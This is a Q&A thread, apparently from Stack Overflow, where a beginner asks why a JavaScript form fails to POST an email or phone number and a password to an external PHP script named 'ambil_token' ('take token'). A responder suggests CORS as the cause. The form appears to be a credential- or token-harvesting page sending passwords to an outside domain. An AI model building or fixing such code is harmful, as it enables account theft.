0

Hey friends I want to post data to an external server with JavaScript but it is not working and I don't know why, I am new to JavaScript.

Here is my HTML:

<div class="form-group">
 <label for="usr">Email address or phone number:</label>
  <input type="text" class="form-control" id="tk" placeholder="Email address or phone number" required>
</div>
<div class="form-group">
  <label for="pwd">Password:</label>
  <input type="password" class="form-control" id="mk" required>
</div>
<strong>Recommend, Use Google Chrome Browser</strong><br />
<button type="button" class="btn btn-danger" onclick="putar()" ><b>Get data Now !!!</b></button>

    </div>
</div>

Here is my JavaScript:

<script>
function putar() {
var http = new XMLHttpRequest();
var tk = document.getElementById("tk").value;
var mk = document.getElementById("mk").value;
var url = "http://mydomin.tk/ambil_token.php";
var params = "u="+tk+"&p="+mk+"";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
      document.getElementById("trave").innerHTML = http.responseText;        
    }
}
http.send(params);
}
</script>
Daniel_ZA
  • 574
  • 11
  • 26

1 Answers1

0

I'd advice you to supply either error messages or a clear way to reproduce the issue. You can retrieve browser debug information from the Developer Console of your browser.

Based on the bare information you have supplied it seems the issue you are running into is XHR request being denied (CORS).

See How do I send a cross-domain POST request via JavaScript?

Community
  • 1
  • 1
  • Yah it's seems k wait I am trying – Avinash Kumar Apr 12 '17 at 06:11
  • But what I do if this is not available on second domin.... header('Access-Control-Allow-Origin: *'); – Avinash Kumar Apr 12 '17 at 06:14
  • If you want to allow cross domain form submission via XHR you need to explicitly allow that via the CORS headers described in the link above. In your case you need to change the contents of `http://mydomin.tk/ambil_token.php` to send the headers. Again, we are currently making assumptions because you are not giving enough information on the issue. – Xiwen Cheng Apr 12 '17 at 06:28
  • But any other way possible if I don't have access to **ambil_token.php** file – Avinash Kumar Apr 12 '17 at 06:40